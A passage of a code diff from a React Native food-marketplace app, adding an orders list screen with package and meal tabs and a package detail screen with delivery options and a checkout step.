||||||
|
marginTop: spacing.xl,
|
||||||
|
},
|
||||||
|
reviewButton: {
|
||||||
|
backgroundColor: colors.primary,
|
||||||
|
borderRadius: borderRadius.lg,
|
||||||
|
padding: spacing.lg,
|
||||||
|
alignItems: 'center',
|
||||||
|
},
|
||||||
|
reviewButtonText: {...typography.button, color: '#FFFFFF'},
|
||||||
|
reviewForm: {
|
||||||
|
backgroundColor: colors.backgroundWhite,
|
||||||
|
borderRadius: borderRadius.lg,
|
||||||
|
padding: spacing.xl,
|
||||||
|
},
|
||||||
|
reviewFormTitle: {
|
||||||
|
...typography.h3,
|
||||||
|
color: colors.textPrimary,
|
||||||
|
textAlign: 'center',
|
||||||
|
marginBottom: spacing.md,
|
||||||
|
},
|
||||||
|
starRow: {
|
||||||
|
flexDirection: 'row',
|
||||||
|
justifyContent: 'center',
|
||||||
|
gap: 8,
|
||||||
|
marginBottom: spacing.lg,
|
||||||
|
},
|
||||||
|
star: {
|
||||||
|
fontSize: 36,
|
||||||
|
color: '#D1D5DB',
|
||||||
|
},
|
||||||
|
starActive: {
|
||||||
|
color: '#F59E0B',
|
||||||
|
},
|
||||||
|
reviewInput: {
|
||||||
|
borderWidth: 1,
|
||||||
|
borderColor: '#E5E7EB',
|
||||||
|
borderRadius: borderRadius.md,
|
||||||
|
padding: spacing.md,
|
||||||
|
fontSize: 14,
|
||||||
|
color: colors.textPrimary,
|
||||||
|
minHeight: 80,
|
||||||
|
textAlignVertical: 'top',
|
||||||
|
marginBottom: spacing.md,
|
||||||
|
},
|
||||||
|
reviewSubmitBtn: {
|
||||||
|
backgroundColor: colors.primary,
|
||||||
|
borderRadius: borderRadius.md,
|
||||||
|
padding: spacing.md,
|
||||||
|
alignItems: 'center',
|
||||||
|
},
|
||||||
|
reviewSubmitText: {...typography.button, color: '#FFFFFF'},
|
||||||
|
reviewDoneText: {
|
||||||
|
...typography.body,
|
||||||
|
color: colors.success,
|
||||||
|
textAlign: 'center',
|
||||||
|
paddingVertical: spacing.md,
|
||||||
|
},
|
||||||
|
});
|
||||||
@@ -0,0 +1,366 @@
|
|||||||
|
import React, {useCallback, useState} from 'react';
|
||||||
|
import {
|
||||||
|
View,
|
||||||
|
Text,
|
||||||
|
FlatList,
|
||||||
|
StyleSheet,
|
||||||
|
RefreshControl,
|
||||||
|
ActivityIndicator,
|
||||||
|
TouchableOpacity,
|
||||||
|
} from 'react-native';
|
||||||
|
import {useFocusEffect, useNavigation} from '@react-navigation/native';
|
||||||
|
import {useSafeAreaInsets} from 'react-native-safe-area-context';
|
||||||
|
import type {NavigationProp} from '@react-navigation/native';
|
||||||
|
import {useTranslation} from 'react-i18next';
|
||||||
|
import {colors, spacing, typography, borderRadius} from '../../theme';
|
||||||
|
import {getOrders} from '../../api/orders';
|
||||||
|
import {getMealOrders} from '../../api/meals';
|
||||||
|
import type {Order, MealOrder} from '../../types/models';
|
||||||
|
import OrderCard from '../../components/OrderCard';
|
||||||
|
|
||||||
|
type Tab = 'packages' | 'meals';
|
||||||
|
|
||||||
|
const MEAL_STATUS_LABEL_KEYS: Record<MealOrder['status'], string> = {
|
||||||
|
pending: 'orders.statusPending',
|
||||||
|
accepted: 'orders.statusAccepted',
|
||||||
|
rejected: 'orders.statusRejected',
|
||||||
|
completed: 'orders.statusCompleted',
|
||||||
|
cancelled: 'orders.statusCancelled',
|
||||||
|
};
|
||||||
|
|
||||||
|
const MEAL_STATUS_COLORS: Record<MealOrder['status'], string> = {
|
||||||
|
pending: colors.warning,
|
||||||
|
accepted: colors.info,
|
||||||
|
rejected: colors.error,
|
||||||
|
completed: colors.success,
|
||||||
|
cancelled: colors.textSecondary,
|
||||||
|
};
|
||||||
|
|
||||||
|
function formatDate(dateStr: string): string {
|
||||||
|
const d = new Date(dateStr);
|
||||||
|
const day = d.getDate().toString().padStart(2, '0');
|
||||||
|
const month = (d.getMonth() + 1).toString().padStart(2, '0');
|
||||||
|
const hours = d.getHours().toString().padStart(2, '0');
|
||||||
|
const mins = d.getMinutes().toString().padStart(2, '0');
|
||||||
|
return `${day}.${month} ${hours}:${mins}`;
|
||||||
|
}
|
||||||
|
|
||||||
|
function MealOrderCard({order, onPress}: {order: MealOrder; onPress: () => void}) {
|
||||||
|
const {t} = useTranslation();
|
||||||
|
const statusColor = MEAL_STATUS_COLORS[order.status];
|
||||||
|
const statusLabel = t(MEAL_STATUS_LABEL_KEYS[order.status]);
|
||||||
|
|
||||||
|
return (
|
||||||
|
<TouchableOpacity style={mealStyles.card} onPress={onPress} activeOpacity={0.7}>
|
||||||
|
<View style={mealStyles.header}>
|
||||||
|
<View style={mealStyles.typeBadge}>
|
||||||
|
<Text style={mealStyles.typeBadgeText}>{t('orders.mealOrderBadge')}</Text>
|
||||||
|
</View>
|
||||||
|
<View style={[mealStyles.statusBadge, {backgroundColor: statusColor}]}>
|
||||||
|
<Text style={mealStyles.statusText}>{statusLabel}</Text>
|
||||||
|
</View>
|
||||||
|
</View>
|
||||||
|
|
||||||
|
<View style={mealStyles.footer}>
|
||||||
|
<View>
|
||||||
|
<Text style={mealStyles.portions}>{t('orders.portions', {count: order.portions})}</Text>
|
||||||
|
<Text style={mealStyles.price}>{order.total_price.toFixed(0)} TL</Text>
|
||||||
|
</View>
|
||||||
|
<Text style={mealStyles.date}>{formatDate(order.created_at)}</Text>
|
||||||
|
</View>
|
||||||
|
</TouchableOpacity>
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
const mealStyles = StyleSheet.create({
|
||||||
|
card: {
|
||||||
|
backgroundColor: colors.backgroundCard,
|
||||||
|
borderRadius: borderRadius.lg,
|
||||||
|
padding: spacing.lg,
|
||||||
|
marginBottom: spacing.md,
|
||||||
|
shadowColor: '#000',
|
||||||
|
shadowOffset: {width: 0, height: 2},
|
||||||
|
shadowOpacity: 0.08,
|
||||||
|
shadowRadius: 4,
|
||||||
|
elevation: 3,
|
||||||
|
borderLeftWidth: 4,
|
||||||
|
borderLeftColor: '#F59E0B',
|
||||||
|
},
|
||||||
|
header: {
|
||||||
|
flexDirection: 'row',
|
||||||
|
justifyContent: 'space-between',
|
||||||
|
alignItems: 'center',
|
||||||
|
marginBottom: spacing.sm,
|
||||||
|
},
|
||||||
|
typeBadge: {
|
||||||
|
backgroundColor: '#FEF3C7',
|
||||||
|
borderRadius: 6,
|
||||||
|
paddingHorizontal: spacing.sm,
|
||||||
|
paddingVertical: 2,
|
||||||
|
},
|
||||||
|
typeBadgeText: {
|
||||||
|
fontSize: 11,
|
||||||
|
fontWeight: '700',
|
||||||
|
color: '#92400E',
|
||||||
|
},
|
||||||
|
statusBadge: {
|
||||||
|
borderRadius: 6,
|
||||||
|
paddingHorizontal: spacing.sm,
|
||||||
|
paddingVertical: 2,
|
||||||
|
},
|
||||||
|
statusText: {
|
||||||
|
...typography.small,
|
||||||
|
color: colors.textWhite,
|
||||||
|
fontWeight: '600',
|
||||||
|
},
|
||||||
|
footer: {
|
||||||
|
flexDirection: 'row',
|
||||||
|
justifyContent: 'space-between',
|
||||||
|
alignItems: 'flex-end',
|
||||||
|
},
|
||||||
|
portions: {
|
||||||
|
...typography.caption,
|
||||||
|
color: colors.textSecondary,
|
||||||
|
marginBottom: 2,
|
||||||
|
},
|
||||||
|
price: {
|
||||||
|
...typography.price,
|
||||||
|
color: colors.primary,
|
||||||
|
fontSize: 18,
|
||||||
|
},
|
||||||
|
date: {
|
||||||
|
...typography.small,
|
||||||
|
color: colors.textSecondary,
|
||||||
|
},
|
||||||
|
});
|
||||||
|
|
||||||
|
export default function OrdersScreen() {
|
||||||
|
const {t} = useTranslation();
|
||||||
|
const navigation = useNavigation<NavigationProp<Record<string, object | undefined>>>();
|
||||||
|
const [orders, setOrders] = useState<Order[]>([]);
|
||||||
|
const [mealOrders, setMealOrders] = useState<MealOrder[]>([]);
|
||||||
|
const [activeTab, setActiveTab] = useState<Tab>('packages');
|
||||||
|
const [loading, setLoading] = useState(true);
|
||||||
|
const [refreshing, setRefreshing] = useState(false);
|
||||||
|
const insets = useSafeAreaInsets();
|
||||||
|
|
||||||
|
const fetchOrders = async (isRefresh = false) => {
|
||||||
|
if (isRefresh) setRefreshing(true);
|
||||||
|
else setLoading(true);
|
||||||
|
try {
|
||||||
|
const [pkgData, mealData] = await Promise.all([
|
||||||
|
getOrders(),
|
||||||
|
getMealOrders().catch(() => [] as MealOrder[]),
|
||||||
|
]);
|
||||||
|
setOrders(pkgData);
|
||||||
|
setMealOrders(mealData);
|
||||||
|
} catch {
|
||||||
|
// Silent fail
|
||||||
|
} finally {
|
||||||
|
setLoading(false);
|
||||||
|
setRefreshing(false);
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
useFocusEffect(
|
||||||
|
useCallback(() => {
|
||||||
|
fetchOrders();
|
||||||
|
}, []),
|
||||||
|
);
|
||||||
|
|
||||||
|
const handleOrderPress = (order: Order) => {
|
||||||
|
navigation.navigate('OrderDetail', {orderId: order.id});
|
||||||
|
};
|
||||||
|
|
||||||
|
const handleMealOrderPress = (order: MealOrder) => {
|
||||||
|
navigation.navigate('MealOrderDetail', {order});
|
||||||
|
};
|
||||||
|
|
||||||
|
const handleQrScan = () => {
|
||||||
|
navigation.navigate('QrScan' as never);
|
||||||
|
};
|
||||||
|
|
||||||
|
const totalCount = orders.length + mealOrders.length;
|
||||||
|
|
||||||
|
if (loading && orders.length === 0 && mealOrders.length === 0) {
|
||||||
|
return (
|
||||||
|
<View style={styles.loadingContainer}>
|
||||||
|
<ActivityIndicator size="large" color={colors.primary} />
|
||||||
|
</View>
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
return (
|
||||||
|
<View style={styles.container}>
|
||||||
|
{/* Header with QR button */}
|
||||||
|
<View style={[styles.header, {paddingTop: insets.top + 12}]}>
|
||||||
|
<View>
|
||||||
|
<Text style={styles.headerTitle}>{t('orders.title')}</Text>
|
||||||
|
<Text style={styles.headerSubtitle}>{t('orders.orderCount', {count: totalCount})}</Text>
|
||||||
|
</View>
|
||||||
|
<TouchableOpacity style={styles.qrButton} onPress={handleQrScan} activeOpacity={0.7}>
|
||||||
|
<Text style={styles.qrIcon}>📷</Text>
|
||||||
|
<Text style={styles.qrLabel}>{t('orders.qrPickup')}</Text>
|
||||||
|
</TouchableOpacity>
|
||||||
|
</View>
|
||||||
|
|
||||||
|
{/* Tab bar */}
|
||||||
|
<View style={styles.tabBar}>
|
||||||
|
<TouchableOpacity
|
||||||
|
style={[styles.tab, activeTab === 'packages' && styles.tabActive]}
|
||||||
|
onPress={() => setActiveTab('packages')}>
|
||||||
|
<Text style={[styles.tabText, activeTab === 'packages' && styles.tabTextActive]}>
|
||||||
|
{t('orders.tabPackages')} ({orders.length})
|
||||||
|
</Text>
|
||||||
|
</TouchableOpacity>
|
||||||
|
<TouchableOpacity
|
||||||
|
style={[styles.tab, activeTab === 'meals' && styles.tabActive]}
|
||||||
|
onPress={() => setActiveTab('meals')}>
|
||||||
|
<Text style={[styles.tabText, activeTab === 'meals' && styles.tabTextActive]}>
|
||||||
|
{t('orders.tabMeals')} ({mealOrders.length})
|
||||||
|
</Text>
|
||||||
|
</TouchableOpacity>
|
||||||
|
</View>
|
||||||
|
|
||||||
|
{activeTab === 'packages' ? (
|
||||||
|
<FlatList
|
||||||
|
data={orders}
|
||||||
|
keyExtractor={item => item.id}
|
||||||
|
renderItem={({item}) => (
|
||||||
|
<OrderCard
|
||||||
|
order={item}
|
||||||
|
onPress={() => handleOrderPress(item)}
|
||||||
|
/>
|
||||||
|
)}
|
||||||
|
contentContainerStyle={styles.list}
|
||||||
|
refreshControl={
|
||||||
|
<RefreshControl
|
||||||
|
refreshing={refreshing}
|
||||||
|
onRefresh={() => fetchOrders(true)}
|
||||||
|
colors={[colors.primary]}
|
||||||
|
/>
|
||||||
|
}
|
||||||
|
ListEmptyComponent={
|
||||||
|
<View style={styles.empty}>
|
||||||
|
<View style={styles.emptyIconContainer}>
|
||||||
|
<Text style={styles.emptyIconText}>📦</Text>
|
||||||
|
</View>
|
||||||
|
<Text style={styles.emptyTitle}>{t('orders.emptyPackagesTitle')}</Text>
|
||||||
|
<Text style={styles.emptyText}>
|
||||||
|
{t('orders.emptyPackagesText')}
|
||||||
|
</Text>
|
||||||
|
</View>
|
||||||
|
}
|
||||||
|
/>
|
||||||
|
) : (
|
||||||
|
<FlatList
|
||||||
|
data={mealOrders}
|
||||||
|
keyExtractor={item => item.id}
|
||||||
|
renderItem={({item}) => (
|
||||||
|
<MealOrderCard
|
||||||
|
order={item}
|
||||||
|
onPress={() => handleMealOrderPress(item)}
|
||||||
|
/>
|
||||||
|
)}
|
||||||
|
contentContainerStyle={styles.list}
|
||||||
|
refreshControl={
|
||||||
|
<RefreshControl
|
||||||
|
refreshing={refreshing}
|
||||||
|
onRefresh={() => fetchOrders(true)}
|
||||||
|
colors={[colors.primary]}
|
||||||
|
/>
|
||||||
|
}
|
||||||
|
ListEmptyComponent={
|
||||||
|
<View style={styles.empty}>
|
||||||
|
<View style={styles.emptyIconContainer}>
|
||||||
|
<Text style={styles.emptyIconText}>🍲</Text>
|
||||||
|
</View>
|
||||||
|
<Text style={styles.emptyTitle}>{t('orders.emptyMealsTitle')}</Text>
|
||||||
|
<Text style={styles.emptyText}>
|
||||||
|
{t('orders.emptyMealsText')}
|
||||||
|
</Text>
|
||||||
|
</View>
|
||||||
|
}
|
||||||
|
/>
|
||||||
|
)}
|
||||||
|
</View>
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
const styles = StyleSheet.create({
|
||||||
|
container: {flex: 1, backgroundColor: '#F8F8F8'},
|
||||||
|
loadingContainer: {
|
||||||
|
flex: 1,
|
||||||
|
justifyContent: 'center',
|
||||||
|
alignItems: 'center',
|
||||||
|
backgroundColor: '#F8F8F8',
|
||||||
|
},
|
||||||
|
header: {
|
||||||
|
backgroundColor: colors.primary,
|
||||||
|
paddingBottom: 16,
|
||||||
|
paddingHorizontal: 20,
|
||||||
|
flexDirection: 'row',
|
||||||
|
justifyContent: 'space-between',
|
||||||
|
alignItems: 'center',
|
||||||
|
},
|
||||||
|
headerTitle: {
|
||||||
|
fontSize: 22,
|
||||||
|
fontWeight: '700',
|
||||||
|
color: '#FFFFFF',
|
||||||
|
},
|
||||||
|
headerSubtitle: {
|
||||||
|
fontSize: 13,
|
||||||
|
color: 'rgba(255,255,255,0.7)',
|
||||||
|
marginTop: 2,
|
||||||
|
},
|
||||||
|
qrButton: {
|
||||||
|
flexDirection: 'row',
|
||||||
|
alignItems: 'center',
|
||||||
|
gap: 6,
|
||||||
|
backgroundColor: 'rgba(255,255,255,0.2)',
|
||||||
|
borderRadius: 12,
|
||||||
|
paddingHorizontal: 14,
|
||||||
|
paddingVertical: 10,
|
||||||
|
borderWidth: 1,
|
||||||
|
borderColor: 'rgba(255,255,255,0.3)',
|
||||||
|
},
|
||||||
|
qrIcon: {fontSize: 18},
|
||||||
|
qrLabel: {fontSize: 13, fontWeight: '700', color: '#FFFFFF'},
|
||||||
|
tabBar: {
|
||||||
|
flexDirection: 'row',
|
||||||
|
backgroundColor: '#FFFFFF',
|
||||||
|
borderBottomWidth: 1,
|
||||||
|
borderBottomColor: '#F3F4F6',
|
||||||
|
},
|
||||||
|
tab: {
|
||||||
|
flex: 1,
|
||||||
|
paddingVertical: 14,
|
||||||
|
alignItems: 'center',
|
||||||
|
borderBottomWidth: 2,
|
||||||
|
borderBottomColor: 'transparent',
|
||||||
|
},
|
||||||
|
tabActive: {
|
||||||
|
borderBottomColor: colors.primary,
|
||||||
|
},
|
||||||
|
tabText: {
|
||||||
|
fontSize: 14,
|
||||||
|
fontWeight: '600',
|
||||||
|
color: '#9CA3AF',
|
||||||
|
},
|
||||||
|
tabTextActive: {
|
||||||
|
color: colors.primary,
|
||||||
|
},
|
||||||
|
list: {padding: spacing.lg, paddingBottom: 100},
|
||||||
|
empty: {alignItems: 'center', paddingTop: 48, paddingHorizontal: 40},
|
||||||
|
emptyIconContainer: {
|
||||||
|
width: 80, height: 80, borderRadius: 40,
|
||||||
|
backgroundColor: '#F3F4F6', justifyContent: 'center', alignItems: 'center', marginBottom: 16,
|
||||||
|
},
|
||||||
|
emptyIconText: {fontSize: 36},
|
||||||
|
emptyTitle: {
|
||||||
|
fontSize: 18, fontWeight: '700', color: '#1A1A1A', marginBottom: 8,
|
||||||
|
},
|
||||||
|
emptyText: {
|
||||||
|
fontSize: 14, color: '#6B7280', textAlign: 'center',
|
||||||
|
},
|
||||||
|
});
|
||||||
@@ -0,0 +1,445 @@
|
|||||||
|
import React, {useEffect, useState} from 'react';
|
||||||
|
import {
|
||||||
|
View,
|
||||||
|
Text,
|
||||||
|
TouchableOpacity,
|
||||||
|
StyleSheet,
|
||||||
|
ScrollView,
|
||||||
|
TextInput,
|
||||||
|
Alert,
|
||||||
|
ActivityIndicator,
|
||||||
|
Linking,
|
||||||
|
Image,
|
||||||
|
} from 'react-native';
|
||||||
|
import {useSafeAreaInsets} from 'react-native-safe-area-context';
|
||||||
|
import {useTranslation} from 'react-i18next';
|
||||||
|
import {colors, spacing, typography, borderRadius} from '../../theme';
|
||||||
|
import * as packagesApi from '../../api/packages';
|
||||||
|
import {createOrder} from '../../api/orders';
|
||||||
|
import client from '../../api/client';
|
||||||
|
|
||||||
|
const BASE_URL = 'https://bereketli.pezkiwi.app';
|
||||||
|
const CATEGORY_IMAGES: Record<string, string> = {
|
||||||
|
bakery: `${BASE_URL}/package-bakery.png`,
|
||||||
|
restaurant: `${BASE_URL}/package-restaurant.png`,
|
||||||
|
pastry: `${BASE_URL}/package-pastry.png`,
|
||||||
|
market: `${BASE_URL}/package-market.png`,
|
||||||
|
catering: `${BASE_URL}/package-restaurant.png`,
|
||||||
|
butcher: `${BASE_URL}/pkg-meat.jpg`,
|
||||||
|
greengrocer: `${BASE_URL}/pkg-vegetable.jpg`,
|
||||||
|
other: `${BASE_URL}/bereketli_paket.png`,
|
||||||
|
};
|
||||||
|
|
||||||
|
function getDetailImage(title: string, category: string): string {
|
||||||
|
const lower = title.toLowerCase();
|
||||||
|
if (lower.includes('et ') || lower.includes('kıyma') || lower.includes('sucuk')) return `${BASE_URL}/pkg-meat.jpg`;
|
||||||
|
if (lower.includes('mangal') || lower.includes('izgara')) return `${BASE_URL}/pkg-mangal.jpg`;
|
||||||
|
if (lower.includes('sebze')) return `${BASE_URL}/pkg-vegetable.jpg`;
|
||||||
|
if (lower.includes('meyve')) return `${BASE_URL}/pkg-fruit.jpg`;
|
||||||
|
return CATEGORY_IMAGES[category] || CATEGORY_IMAGES.other;
|
||||||
|
}
|
||||||
|
import type {Package} from '../../types/models';
|
||||||
|
import type {NativeStackScreenProps} from '@react-navigation/native-stack';
|
||||||
|
|
||||||
|
type RootStackParamList = {
|
||||||
|
PackageDetail: {packageId: string; storeName?: string; storeAddress?: string};
|
||||||
|
OrderDetail: {orderId: string};
|
||||||
|
};
|
||||||
|
|
||||||
|
type Props = NativeStackScreenProps<RootStackParamList, 'PackageDetail'>;
|
||||||
|
|
||||||
|
function formatTime(iso: string): string {
|
||||||
|
const d = new Date(iso);
|
||||||
|
return `${d.getHours().toString().padStart(2, '0')}:${d.getMinutes().toString().padStart(2, '0')}`;
|
||||||
|
}
|
||||||
|
|
||||||
|
function discountPercent(price: number, original: number): number {
|
||||||
|
if (original <= 0) return 0;
|
||||||
|
return Math.round(((original - price) / original) * 100);
|
||||||
|
}
|
||||||
|
|
||||||
|
export default function PackageDetailScreen({route, navigation}: Props) {
|
||||||
|
const {t} = useTranslation();
|
||||||
|
const {packageId, storeName, storeAddress} = route.params;
|
||||||
|
const [pkg, setPkg] = useState<Package | null>(null);
|
||||||
|
const [loading, setLoading] = useState(true);
|
||||||
|
const [purchasing, setPurchasing] = useState(false);
|
||||||
|
const [deliveryType, setDeliveryType] = useState<'pickup' | 'delivery'>('pickup');
|
||||||
|
const [deliveryAddress, setDeliveryAddress] = useState('');
|
||||||
|
const insets = useSafeAreaInsets();
|
||||||
|
|
||||||
|
useEffect(() => {
|
||||||
|
loadPackage();
|
||||||
|
// eslint-disable-next-line react-hooks/exhaustive-deps -- loadPackage depends on packageId from route params which won't change
|
||||||
|
}, []);
|
||||||
|
|
||||||
|
const loadPackage = async () => {
|
||||||
|
try {
|
||||||
|
const data = await packagesApi.getPackage(packageId);
|
||||||
|
setPkg(data);
|
||||||
|
} catch {
|
||||||
|
Alert.alert(t('common.error'), t('packageDetail.loadError'));
|
||||||
|
} finally {
|
||||||
|
setLoading(false);
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
const handlePurchase = async () => {
|
||||||
|
if (!pkg) return;
|
||||||
|
if (deliveryType === 'delivery' && !deliveryAddress.trim()) {
|
||||||
|
Alert.alert(t('common.error'), t('packageDetail.deliveryAddressRequired'));
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
setPurchasing(true);
|
||||||
|
try {
|
||||||
|
// 1. Sipariş oluştur
|
||||||
|
const order = await createOrder(
|
||||||
|
pkg.id,
|
||||||
|
1,
|
||||||
|
deliveryType,
|
||||||
|
deliveryType === 'delivery' ? deliveryAddress : undefined,
|
||||||
|
);
|
||||||
|
|
||||||
|
// 2. Ödeme sayfasına yönlendir (Stripe Checkout)
|
||||||
|
try {
|
||||||
|
const {data: payment} = await client.post<{checkout_url: string; order_id: string}>(
|
||||||
|
'/payment/create-checkout',
|
||||||
|
{order_id: order.id},
|
||||||
|
);
|
||||||
|
if (payment.checkout_url) {
|
||||||
|
await Linking.openURL(payment.checkout_url);
|
||||||
|
}
|
||||||
|
} catch {
|
||||||
|
// Ödeme sistemi yapılandırılmamış olabilir — siparişi yine göster
|
||||||
|
}
|
||||||
|
|
||||||
|
Alert.alert(
|
||||||
|
t('packageDetail.orderCreated'),
|
||||||
|
t('packageDetail.orderCreatedMsg', {orderId: order.id.slice(0, 8).toUpperCase(), price: pkg.price.toFixed(0)}),
|
||||||
|
[{text: t('packageDetail.viewOrder'), onPress: () => navigation.replace('OrderDetail', {orderId: order.id})}],
|
||||||
|
);
|
||||||
|
} catch (err: any) {
|
||||||
|
const msg = err?.response?.data?.message || t('packageDetail.orderFailed');
|
||||||
|
Alert.alert(t('common.error'), msg);
|
||||||
|
} finally {
|
||||||
|
setPurchasing(false);
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
if (loading) {
|
||||||
|
return (
|
||||||
|
<View style={styles.loadingContainer}>
|
||||||
|
<ActivityIndicator size="large" color={colors.primary} />
|
||||||
|
</View>
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!pkg) {
|
||||||
|
return (
|
||||||
|
<View style={styles.container}>
|
||||||
|
<View style={[styles.headerBar, {paddingTop: insets.top + 8}]}>
|
||||||
|
<TouchableOpacity
|
||||||
|
style={styles.backButton}
|
||||||
|
onPress={() => navigation.goBack()}>
|
||||||
|
<Text style={styles.backIcon}>{'\u2190'}</Text>
|
||||||
|
</TouchableOpacity>
|
||||||
|
<Text style={styles.headerTitle}>{t('packageDetail.title')}</Text>
|
||||||
|
<View style={{width: 40}} />
|
||||||
|
</View>
|
||||||
|
<View style={styles.loadingContainer}>
|
||||||
|
<Text style={{fontSize: 48, marginBottom: 16}}>📦</Text>
|
||||||
|
<Text style={styles.errorText}>{t('packageDetail.notFound')}</Text>
|
||||||
|
<TouchableOpacity
|
||||||
|
style={{marginTop: 20, backgroundColor: colors.primary, borderRadius: 12, paddingHorizontal: 24, paddingVertical: 12}}
|
||||||
|
onPress={() => navigation.goBack()}>
|
||||||
|
<Text style={{color: '#FFFFFF', fontWeight: '700', fontSize: 14}}>{t('common.goBack')}</Text>
|
||||||
|
</TouchableOpacity>
|
||||||
|
</View>
|
||||||
|
</View>
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
const pct = discountPercent(pkg.price, pkg.original_value);
|
||||||
|
const categoryImage = getDetailImage(pkg.title, pkg.category);
|
||||||
|
|
||||||
|
return (
|
||||||
|
<View style={styles.container}>
|
||||||
|
{/* Header with safe area */}
|
||||||
|
<View style={[styles.headerBar, {paddingTop: insets.top + 8}]}>
|
||||||
|
<TouchableOpacity
|
||||||
|
style={styles.backButton}
|
||||||
|
onPress={() => navigation.goBack()}>
|
||||||
|
<Text style={styles.backIcon}>←</Text>
|
||||||
|
</TouchableOpacity>
|
||||||
|
<Text style={styles.headerTitle}>{t('packageDetail.title')}</Text>
|
||||||
|
<View style={{width: 40}} />
|
||||||
|
</View>
|
||||||
|
<ScrollView contentContainerStyle={styles.scroll}>
|
||||||
|
|
||||||
|
{/* Hero image */}
|
||||||
|
<View style={styles.hero}>
|
||||||
|
<Image
|
||||||
|
source={{uri: categoryImage}}
|
||||||
|
style={styles.heroImage}
|
||||||
|
resizeMode="cover"
|
||||||
|
/>
|
||||||
|
{pct > 0 && (
|
||||||
|
<View style={styles.discountBadge}>
|
||||||
|
<Text style={styles.discountText}>{t('packageDetail.discount', {percent: pct})}</Text>
|
||||||
|
</View>
|
||||||
|
)}
|
||||||
|
</View>
|
||||||
|
|
||||||
|
{/* Title & store */}
|
||||||
|
<View style={styles.infoSection}>
|
||||||
|
<Text style={styles.title}>{pkg.title}</Text>
|
||||||
|
{storeName && <Text style={styles.storeName}>{storeName}</Text>}
|
||||||
|
{storeAddress && <Text style={styles.address}>{storeAddress}</Text>}
|
||||||
|
</View>
|
||||||
|
|
||||||
|
{/* Description */}
|
||||||
|
{pkg.description && (
|
||||||
|
<View style={styles.section}>
|
||||||
|
<Text style={styles.sectionTitle}>{t('packageDetail.description')}</Text>
|
||||||
|
<Text style={styles.description}>{pkg.description}</Text>
|
||||||
|
</View>
|
||||||
|
)}
|
||||||
|
|
||||||
|
{/* Details */}
|
||||||
|
<View style={styles.section}>
|
||||||
|
<Text style={styles.sectionTitle}>{t('packageDetail.details')}</Text>
|
||||||
|
<View style={styles.detailRow}>
|
||||||
|
<Text style={styles.detailLabel}>{t('packageDetail.priceLabel')}</Text>
|
||||||
|
<View style={styles.priceRow}>
|
||||||
|
<Text style={styles.price}>{pkg.price.toFixed(0)} TL</Text>
|
||||||
|
<Text style={styles.originalPrice}>{pkg.original_value.toFixed(0)} TL</Text>
|
||||||
|
</View>
|
||||||
|
</View>
|
||||||
|
<View style={styles.detailRow}>
|
||||||
|
<Text style={styles.detailLabel}>{t('packageDetail.pickupTime')}</Text>
|
||||||
|
<Text style={styles.detailValue}>
|
||||||
|
{formatTime(pkg.pickup_start)} - {formatTime(pkg.pickup_end)}
|
||||||
|
</Text>
|
||||||
|
</View>
|
||||||
|
<View style={styles.detailRow}>
|
||||||
|
<Text style={styles.detailLabel}>{t('packageDetail.remaining')}</Text>
|
||||||
|
<Text style={styles.detailValue}>{pkg.remaining} / {pkg.total_quantity}</Text>
|
||||||
|
</View>
|
||||||
|
<View style={styles.detailRow}>
|
||||||
|
<Text style={styles.detailLabel}>{t('packageDetail.status')}</Text>
|
||||||
|
<Text style={[
|
||||||
|
styles.detailValue,
|
||||||
|
pkg.status === 'active' ? styles.statusActive : styles.statusInactive,
|
||||||
|
]}>
|
||||||
|
{pkg.status === 'active' ? t('packageDetail.statusActive') : pkg.status === 'sold_out' ? t('packageDetail.statusSoldOut') : t('packageDetail.statusExpired')}
|
||||||
|
</Text>
|
||||||
|
</View>
|
||||||
|
</View>
|
||||||
|
|
||||||
|
{/* Delivery type picker */}
|
||||||
|
<View style={styles.section}>
|
||||||
|
<Text style={styles.sectionTitle}>{t('packageDetail.deliveryMethod')}</Text>
|
||||||
|
<View style={styles.deliveryOptions}>
|
||||||
|
<TouchableOpacity
|
||||||
|
style={[
|
||||||
|
styles.deliveryOption,
|
||||||
|
deliveryType === 'pickup' && styles.deliveryOptionActive,
|
||||||
|
]}
|
||||||
|
onPress={() => setDeliveryType('pickup')}>
|
||||||
|
<Text style={styles.deliveryEmoji}>{'\uD83D\uDEB6'}</Text>
|
||||||
|
<Text style={[
|
||||||
|
styles.deliveryLabel,
|
||||||
|
deliveryType === 'pickup' && styles.deliveryLabelActive,
|
||||||
|
]}>
|
||||||
|
{t('packageDetail.pickup')}
|
||||||
|
</Text>
|
||||||
|
</TouchableOpacity>
|
||||||
|
<TouchableOpacity
|
||||||
|
style={[
|
||||||
|
styles.deliveryOption,
|
||||||
|
deliveryType === 'delivery' && styles.deliveryOptionActive,
|
||||||
|
]}
|
||||||
|
onPress={() => setDeliveryType('delivery')}>
|
||||||
|
<Text style={styles.deliveryEmoji}>{'\uD83D\uDE97'}</Text>
|
||||||
|
<Text style={[
|
||||||
|
styles.deliveryLabel,
|
||||||
|
deliveryType === 'delivery' && styles.deliveryLabelActive,
|
||||||
|
]}>
|
||||||
|
{t('packageDetail.deliveryToAddress')}
|
||||||
|
</Text>
|
||||||
|
</TouchableOpacity>
|
||||||
|
</View>
|
||||||
|
|
||||||
|
{deliveryType === 'delivery' && (
|
||||||
|
<TextInput
|
||||||
|
style={styles.addressInput}
|
||||||
|
placeholder={t('packageDetail.deliveryAddressPlaceholder')}
|
||||||
|
placeholderTextColor={colors.textLight}
|
||||||
|
value={deliveryAddress}
|
||||||
|
onChangeText={setDeliveryAddress}
|
||||||
|
multiline
|
||||||
|
numberOfLines={2}
|
||||||
|
/>
|
||||||
|
)}
|
||||||
|
</View>
|
||||||
|
</ScrollView>
|
||||||
|
|
||||||
|
{/* Purchase button */}
|
||||||
|
{pkg.status === 'active' && pkg.remaining > 0 && (
|
||||||
|
<View style={styles.bottomBar}>
|
||||||
|
<View style={styles.bottomPrice}>
|
||||||
|
<Text style={styles.bottomPriceLabel}>{t('packageDetail.total')}</Text>
|
||||||
|
